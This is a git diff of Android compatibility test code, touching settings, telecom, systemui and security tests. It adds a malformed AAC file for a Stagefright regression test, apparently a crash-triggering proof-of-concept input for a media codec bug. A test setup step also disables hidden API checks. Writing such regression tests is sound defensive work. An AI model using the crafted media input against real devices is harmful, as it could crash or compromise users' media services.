diff --git a/tests/tests/sdkextensions/AndroidManifest.xml b/tests/tests/sdkextensions/AndroidManifest.xml
deleted file mode 100644
index a6391b5..0000000
--- a/tests/tests/sdkextensions/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.os.ext.cts">
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.os.ext.cts"
-                     android:label="CTS tests of android.os.ext">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/tests/sdkextensions/CtsSdkExtensionsTestCases.xml b/tests/tests/sdkextensions/CtsSdkExtensionsTestCases.xml
deleted file mode 100644
index a0b2055..0000000
--- a/tests/tests/sdkextensions/CtsSdkExtensionsTestCases.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Configuration for SdkExtension Tests">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsSdkExtensionsTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.os.ext.cts" />
-    </test>
-
-    <!-- Run CtsSdkExtensionsTestCases when "com.google.android.sdkext" is on device.
-      Otherwise skip. The logic only applies to situations when CtsSdkExtensionsTestCasesdoes
-      is triggered via mts-tradefed. It is disabled for all other *TS.
-    -->
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.sdkext" />
-    </object>
-</configuration>
diff --git a/tests/tests/sdkextensions/OWNERS b/tests/tests/sdkextensions/OWNERS
deleted file mode 100644
index 8e32df8..0000000
--- a/tests/tests/sdkextensions/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-include platform/frameworks/base:/apex/sdkextensions/OWNERS
diff --git a/tests/tests/sdkextensions/TEST_MAPPING b/tests/tests/sdkextensions/TEST_MAPPING
deleted file mode 100644
index 7783bda..0000000
--- a/tests/tests/sdkextensions/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "presubmit": [
-    {
-      "name": "CtsSdkExtensionsTestCases"
-    }
-  ]
-}
diff --git a/tests/tests/sdkextensions/src/android/os/ext/cts/SdkExtensionsTest.java b/tests/tests/sdkextensions/src/android/os/ext/cts/SdkExtensionsTest.java
deleted file mode 100644
index 884f5ef..0000000
--- a/tests/tests/sdkextensions/src/android/os/ext/cts/SdkExtensionsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.os.ext.cts;
-
-import android.os.Build;
-import android.os.ext.SdkExtensions;
-import junit.framework.TestCase;
-
-public class SdkExtensionsTest extends TestCase {
-
-    /** Verify that getExtensionVersion only accepts valid extension SDKs */
-    public void testBadArgument() throws Exception {
-        // R is the first SDK version with extensions.
-        for (int sdk = -1_000_000; sdk < Build.VERSION_CODES.R; sdk++) {
-            try {
-                SdkExtensions.getExtensionVersion(sdk);
-                fail("expected IllegalArgumentException");
-            } catch (IllegalArgumentException expected) { }
-        }
-    }
-
-    /** Verifies that getExtensionVersion only return existing versions */
-    public void testValidValues() throws Exception {
-        for (int sdk = Build.VERSION_CODES.R; sdk <= 1_000_000; sdk++) {
-            // No extension SDKs versions yet.
-            assertEquals(0, SdkExtensions.getExtensionVersion(sdk));
-        }
-    }
-}
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 70f2ed7..18a1754 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -59,6 +59,7 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
         "sts",
     ],
     certificate: ":security_cts_test_certificate",
diff --git a/tests/tests/security/native/encryption/Android.bp b/tests/tests/security/native/encryption/Android.bp
index f07d905..b6b9d27 100644
--- a/tests/tests/security/native/encryption/Android.bp
+++ b/tests/tests/security/native/encryption/Android.bp
@@ -21,5 +21,6 @@
     },
     test_suites: [
         "cts",
+        "general-tests",
     ],
 }
diff --git a/tests/tests/security/res/raw/bug_142641801.aac b/tests/tests/security/res/raw/bug_142641801.aac
new file mode 100644
index 0000000..7c4c755
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_142641801.aac
@@ -0,0 +1 @@
+ÿðÿÿÿÿÿÿÿHÿÿ
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 3720d170..66059d8 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1254,6 +1254,12 @@
      ***********************************************************/
 
     @Test
+    @SecurityTest(minPatchLevel = "Unknown")
+    public void testStagefright_bug_142641801() throws Exception {
+        doStagefrightTest(R.raw.bug_142641801);
+    }
+
+    @Test
     @SecurityTest(minPatchLevel = "2019-09")
     public void testStagefright_cve_2019_10534() throws Exception {
         doStagefrightTest(R.raw.cve_2019_10534);
@@ -2023,6 +2029,11 @@
                 } catch (Exception e) {
                     // local exceptions ignored, not security issues
                 } finally {
+                    try {
+                        codec.stop();
+                    } catch (Exception e) {
+                        // local exceptions ignored, not security issues
+                    }
                     codec.release();
                     renderTarget.destroy();
                 }
diff --git a/tests/tests/settings/Android.bp b/tests/tests/settings/Android.bp
new file mode 100644
index 0000000..b55ecaa
--- /dev/null
+++ b/tests/tests/settings/Android.bp
@@ -0,0 +1,24 @@
+
+android_test {
+    name: "CtsSettingsTestCases",
+    defaults: ["cts_defaults"],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    libs: ["android.test.runner"],
+
+    static_libs: [
+        "androidx.slice_slice-core",
+        "androidx.slice_slice-view",
+        "ctstestrunner-axt",
+        "junit",
+        "truth-prebuilt",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/settings/AndroidManifest.xml b/tests/tests/settings/AndroidManifest.xml
new file mode 100644
index 0000000..925e357
--- /dev/null
+++ b/tests/tests/settings/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.settings.cts">
+
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.settings.cts"
+         android:label="CTS tests of android Settings app">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/settings/AndroidTest.xml b/tests/tests/settings/AndroidTest.xml
new file mode 100644
index 0000000..5f220f3
--- /dev/null
+++ b/tests/tests/settings/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Settings test cases">
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSettingsTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.settings.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/settings/OWNERS b/tests/tests/settings/OWNERS
new file mode 100644
index 0000000..c5f7090
--- /dev/null
+++ b/tests/tests/settings/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 27091
+tmfang@google.com
+chiujason@google.com
diff --git a/tests/tests/settings/src/android/settings/cts/WifiSliceTest.java b/tests/tests/settings/src/android/settings/cts/WifiSliceTest.java
new file mode 100644
index 0000000..26d78a5
--- /dev/null
+++ b/tests/tests/settings/src/android/settings/cts/WifiSliceTest.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.settings.cts;
+
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static android.provider.Settings.Secure;
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeFalse;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.net.wifi.WifiManager;
+import android.os.Process;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.slice.SliceConvert;
+import androidx.slice.SliceMetadata;
+import androidx.slice.core.SliceAction;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class WifiSliceTest {
+  private static final String TAG = "WifiSliceTest";
+
+  private static final Uri WIFI_SLICE_URI =
+          Uri.parse("content://android.settings.slices/action/wifi");
+
+  private static final String ACTION_ASSIST = "android.intent.action.ASSIST";
+  private static final String ACTION_VOICE_ASSIST = "android.intent.action.VOICE_ASSIST";
+  private static final String CATEGORY_DEFAULT = "android.intent.category.DEFAULT";
+  private static final String FEATURE_VOICE_RECOGNIZERS = "android.software.voice_recognizers";
+  private static final String ASSISTANT = "assistant";
+
+  private final Context mContext = InstrumentationRegistry.getContext();
+  private final SliceManager mSliceManager = mContext.getSystemService(SliceManager.class);
+  private final boolean mHasVoiceRecognizersFeature =
+          mContext.getPackageManager().hasSystemFeature(FEATURE_VOICE_RECOGNIZERS);
+
+  private Slice mWifiSlice;
+  private String mAssistant;
+
+  @Before
+  public void setUp() throws Exception {
+    assumeFalse("Skipping test: Auto does not support provider android.settings.slices", isCar());
+    assumeFalse("Skipping test: TV does not support provider android.settings.slices", isTv());
+    mWifiSlice = mSliceManager.bindSlice(WIFI_SLICE_URI, Collections.emptySet());
+    mAssistant = Secure.getString(mContext.getContentResolver(), ASSISTANT);
+  }
+
+  @After
+  public void tearDown() {
+    final String assistant = Secure.getString(mContext.getContentResolver(), ASSISTANT);
+    if (!TextUtils.equals(mAssistant, assistant)) {
+      Secure.putString(mContext.getContentResolver(), ASSISTANT, mAssistant);
+    }
+  }
+
+  @Test
+  public void wifiSliceToggle_changeWifiState() {
+    SliceMetadata mWifiSliceMetadata =
+            SliceMetadata.from(mContext, SliceConvert.wrap(mWifiSlice, mContext));
+    List<SliceAction> wifiSliceActions = mWifiSliceMetadata.getToggles();
+    if (wifiSliceActions.size() != 0) {
+      SliceAction toggleAction = wifiSliceActions.get(0);
+
+      toggleAction.setChecked(true);
+      assertThat(toggleAction.isChecked()).isEqualTo(isWifiEnabled());
+
+      toggleAction.setChecked(false);
+      assertThat(toggleAction.isChecked()).isEqualTo(isWifiEnabled());
+    }
+  }
+
+  @Test
+  public void wifiSlice_hasCorrectUri() {
+    assertThat(mWifiSlice.getUri()).isEqualTo(WIFI_SLICE_URI);
+  }
+
+  @Test
+  public void wifiSlice_grantedPermissionToDefaultAssistant() throws NameNotFoundException {
+    if (!mHasVoiceRecognizersFeature) {
+      Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
+      return;
+    }
+    final PackageManager pm = mContext.getPackageManager();
+    final Intent requestDefaultAssistant =
+            new Intent(ACTION_ASSIST).addCategory(CATEGORY_DEFAULT);
+
+    final List<ResolveInfo> infos = pm.queryIntentActivities(requestDefaultAssistant, 0);
+
+    if (!infos.isEmpty()) {
+      final String packageName;
+      if (!TextUtils.isEmpty(mAssistant)) {
+        packageName = ComponentName.unflattenFromString(mAssistant).getPackageName();
+        Log.i(TAG, "Default assistant: " + packageName);
+      } else {
+        packageName = infos.get(0).activityInfo.packageName;
+        Log.i(TAG, "Set assistant: " + packageName);
+        Secure.putString(mContext.getContentResolver(), ASSISTANT,
+                new ComponentName(packageName, infos.get(0).activityInfo.name).flattenToString());
+      }
+      final int testPid = Process.myPid();
+      final int testUid = pm.getPackageUid(packageName, 0);
+
+      assertThat(mSliceManager.checkSlicePermission(WIFI_SLICE_URI, testPid, testUid))
+              .isEqualTo(PERMISSION_GRANTED);
+    }
+  }
+
+  @Test
+  public void wifiSlice_grantedPermissionToDefaultVoiceAssistant() throws NameNotFoundException {
+    if (!mHasVoiceRecognizersFeature) {
+      Log.i(TAG, "The device doesn't support feature: " + FEATURE_VOICE_RECOGNIZERS);
+      return;
+    }
+    final PackageManager pm = mContext.getPackageManager();
+    final Intent requestDefaultAssistant =
+            new Intent(ACTION_VOICE_ASSIST).addCategory(CATEGORY_DEFAULT);
+
+    final ResolveInfo info = pm.resolveActivity(requestDefaultAssistant, 0);
+
+    if (info != null) {
+      final int testPid = Process.myPid();
+      final int testUid = pm.getPackageUid(info.activityInfo.packageName, 0);
+
+      assertThat(mSliceManager.checkSlicePermission(WIFI_SLICE_URI, testPid, testUid))
+              .isEqualTo(PERMISSION_GRANTED);
+    }
+  }
+
+  private boolean isCar() {
+    PackageManager pm = mContext.getPackageManager();
+    return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+  }
+
+  private boolean isTv() {
+    PackageManager pm = mContext.getPackageManager();
+    return pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+            && pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+  }
+
+  private boolean isWifiEnabled() {
+    final WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
+    return wifiManager.getWifiState() == WifiManager.WIFI_STATE_ENABLED
+            || wifiManager.getWifiState() == WifiManager.WIFI_STATE_ENABLING;
+  }
+
+}
diff --git a/tests/tests/simpleperf/AndroidTest.xml b/tests/tests/simpleperf/AndroidTest.xml
index 73e1568..cfafd8e 100644
--- a/tests/tests/simpleperf/AndroidTest.xml
+++ b/tests/tests/simpleperf/AndroidTest.xml
@@ -18,7 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="bionic" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system" />
     </target_preparer>
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index cce8ad7..69c5cc2 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -664,9 +664,6 @@
             throws InterruptedException {
         assumeTrue(hasSystemGestureFeature());
 
-        final Rect[] rects = new Rect[1];
-        mainThreadRun(() -> rects[0] = mActivity.getViewBound(mActivity.getContentView()));
-        setAndWaitForSystemGestureExclusionRectsListenerTrigger(rects[0]);
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
         mainThreadRun(() -> mSwipeBound = mActivity.getOperationArea(
                 mContentViewWindowInsets.getTappableElementInsets(), mContentViewWindowInsets));
@@ -772,16 +769,16 @@
             setSystemUiVisibility(systemUiVisibility);
             setAndWaitForSystemGestureExclusionRectsListenerTrigger(null);
 
-            // The limit is consumed from bottom to top.
-            final int[] bottom = new int[1];
+            final Rect swipeBounds = new Rect();
             mainThreadRun(() -> {
                 final View rootView = mActivity.getWindow().getDecorView();
-                bottom[0] = rootView.getLocationOnScreen()[1] + rootView.getHeight();
+                swipeBounds.set(mActivity.getViewBound(rootView));
             });
-            final int swipeY = bottom[0] - mExclusionLimit + shiftY;
+            // The limit is consumed from bottom to top.
+            final int swipeY = swipeBounds.bottom - mExclusionLimit + shiftY;
 
             for (int i = 0; i < swipeCount; i++) {
-                swipeFromLeftToRight(swipeY, mDisplayWidth);
+                mDevice.swipe(swipeBounds.left, swipeY, swipeBounds.right, swipeY, STEPS);
             }
 
             mainThreadRun(() -> {
@@ -862,10 +859,6 @@
         assertTrue("Exclusion must be applied.", exclusionApplied.await(3, SECONDS));
     }
 
-    private void swipeFromLeftToRight(int y, int distance) {
-        mDevice.swipe(0, y, distance, y, STEPS);
-    }
-
     private static int getPropertyOfMaxExclusionHeight() {
         final int[] originalLimitDp = new int[1];
         SystemUtil.runWithShellPermissionIdentity(() -> {
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 5e6a6ee..4d746c1 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -34,7 +34,7 @@
     <uses-permission android:name="android.permission.WRITE_CONTACTS" />
     <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
     <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
-
+    <uses-permission android:name="android.permission.MANAGE_ONGOING_CALLS" />
     <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
 
     <application>
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index 741a897..e605691 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -20,9 +20,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="hidden-api-checks" value="false" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
-        <option name="token" value="sim-card" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CallRedirectionServiceTestApp.apk" />
@@ -33,6 +30,11 @@
         <option name="test-file-name" value="CarModeTestApp.apk" />
         <option name="test-file-name" value="CarModeTestAppTwo.apk" />
     </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+      <!-- Disable hidden API checking, see b/166236554 -->
+        <option name="run-command" value="settings put global hidden_api_policy 1" />
+        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telecom.cts" />
         <option name="runtime-hint" value="10m20s" />
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
index eb509ec..710b3e6 100644
--- a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/AndroidManifest.xml
@@ -24,7 +24,8 @@
 
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-permission android:name="android.permission.CALL_COMPANION_APP" />
+    <uses-permission android:name="android.permission.CALL_COMPANION_APP"/>
+    <uses-permission android:name="android.permission.MANAGE_ONGOING_CALLS"/>
 
     <application android:label="ThirdPtyCTSInCallService">
         <service android:name=".CtsThirdPartyInCallService"
@@ -35,8 +36,6 @@
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
-            <meta-data android:name="android.telecom.IN_CALL_SERVICE_CAR_MODE_UI"
-                       android:value="true" />
             <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
                        android:value="true" />
         </service>
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index d0cb113..459ff27 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -61,9 +61,11 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import java.util.Map;
 import java.util.Objects;
 import java.util.Random;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
@@ -125,6 +127,9 @@
         List<Pair<Integer, String>> mCallStates = new ArrayList<>();
         EmergencyNumber mLastOutgoingEmergencyNumber;
 
+        LinkedBlockingQueue<Map<Integer, List<EmergencyNumber>>> mEmergencyNumberListQueue =
+               new LinkedBlockingQueue<>(2);
+
         @Override
         public void onCallStateChanged(int state, String number) {
             Log.i(TAG, "onCallStateChanged: state=" + state + ", number=" + number);
@@ -133,11 +138,24 @@
         }
 
         @Override
-        public void onOutgoingEmergencyCall(EmergencyNumber emergencyNumber) {
+        public void onOutgoingEmergencyCall(EmergencyNumber emergencyNumber, int subscriptionId) {
             Log.i(TAG, "onOutgoingEmergencyCall: emergencyNumber=" + emergencyNumber);
             mLastOutgoingEmergencyNumber = emergencyNumber;
             mCallbackSemaphore.release();
         }
+
+        @Override
+        public void onEmergencyNumberListChanged(
+                Map<Integer, List<EmergencyNumber>> emergencyNumberList) {
+            Log.i(TAG, "onEmergencyNumberChanged, total size=" + emergencyNumberList.values()
+                    .stream().mapToInt(List::size).sum());
+            mEmergencyNumberListQueue.offer(emergencyNumberList);
+        }
+
+        public Map<Integer, List<EmergencyNumber>> waitForEmergencyNumberListUpdate(
+                long timeoutMillis) throws Throwable {
+            return mEmergencyNumberListQueue.poll(timeoutMillis, TimeUnit.MILLISECONDS);
+        }
     }
 
     boolean mShouldTestTelecom = true;
@@ -176,8 +194,9 @@
                 mPhoneStateListener = new TestPhoneStateListener();
                 ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                     (tm) -> tm.listen(mPhoneStateListener,
-                        PhoneStateListener.LISTEN_CALL_STATE | PhoneStateListener
-                            .LISTEN_OUTGOING_EMERGENCY_CALL));
+                        PhoneStateListener.LISTEN_CALL_STATE
+                                | PhoneStateListener.LISTEN_OUTGOING_EMERGENCY_CALL
+                                | PhoneStateListener.LISTEN_EMERGENCY_NUMBER_LIST));
                 registeredLatch.countDown();
             }
         });
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index a6fe2bf..5b99e3c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -70,6 +70,8 @@
     public static final String TEST_EXTRA_KEY = "android.test.extra.TEST";
     public static final String TEST_EXTRA_KEY2 = "android.test.extra.TEST2";
     public static final String TEST_EXTRA_KEY3 = "android.test.extra.TEST3";
+    public static final float TEST_EXTRA_BITRATE = 23.85f ;
+    public static final float TEST_EXTRA_BANDWIDTH = 7.0f ;
     public static final String TEST_INVALID_EXTRA_KEY = "blah";
     public static final int TEST_EXTRA_VALUE = 10;
     public static final String TEST_EVENT = "com.test.event.TEST";
@@ -479,6 +481,8 @@
         exampleExtras.putString(Connection.EXTRA_LAST_FORWARDED_NUMBER, TEST_FORWARDED_NUMBER);
         exampleExtras.putInt(TEST_EXTRA_KEY, TEST_EXTRA_VALUE);
         exampleExtras.putInt(Connection.EXTRA_AUDIO_CODEC, Connection.AUDIO_CODEC_AMR);
+        exampleExtras.putFloat(Connection.EXTRA_AUDIO_CODEC_BITRATE_KBPS, TEST_EXTRA_BITRATE);
+        exampleExtras.putFloat(Connection.EXTRA_AUDIO_CODEC_BANDWIDTH_KHZ, TEST_EXTRA_BANDWIDTH);
         mConnection.setExtras(exampleExtras);
 
         // Make sure we got back a bundle with the call subject key set.
@@ -492,6 +496,10 @@
         assertEquals(TEST_EXTRA_VALUE, callExtras.getInt(TEST_EXTRA_KEY));
         assertEquals(Connection.AUDIO_CODEC_AMR,
                 callExtras.getInt(Connection.EXTRA_AUDIO_CODEC));
+        assertEquals(TEST_EXTRA_BITRATE,
+                callExtras.getFloat(Connection.EXTRA_AUDIO_CODEC_BITRATE_KBPS), 0.01);
+        assertEquals(TEST_EXTRA_BANDWIDTH,
+                callExtras.getFloat(Connection.EXTRA_AUDIO_CODEC_BANDWIDTH_KHZ), 0.01);
     }
 
     /**
diff --git a/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java b/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
index ee9359c..5043e15 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
@@ -17,6 +17,7 @@
 package android.telecom.cts;
 
 import android.content.Intent;
+import android.os.Process;
 import android.telecom.Call;
 import android.telecom.Connection;
 import android.telecom.DisconnectCause;
@@ -29,6 +30,8 @@
     TestUtils.InvokeCounter mShowMissedCallNotificationIntentCounter =
             new TestUtils.InvokeCounter("ShowMissedCallNotificationIntent");
 
+    private static final String CMD_DEVICE_IDLE_TEMP_EXEMPTIONS = "cmd deviceidle tempwhitelist";
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -71,6 +74,15 @@
         connection.setDisconnected(new DisconnectCause(DisconnectCause.MISSED));
         connection.destroy();
         mShowMissedCallNotificationIntentCounter.waitForCount(1);
+        assertTrue("After missing a call, if the default dialer is handling the missed call "
+                + "notification, then it must be in the temporary power exemption list.",
+                isOnTemporaryPowerExemption());
     }
 
+    private boolean isOnTemporaryPowerExemption() throws Exception {
+        String exemptions = TestUtils.executeShellCommand(
+                getInstrumentation(), CMD_DEVICE_IDLE_TEMP_EXEMPTIONS);
+        // Just check that this process's UID is in the result.
+        return exemptions.contains(String.valueOf(Process.myUid()));
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
index 875d665..5a75fbc 100644
--- a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
@@ -29,9 +29,13 @@
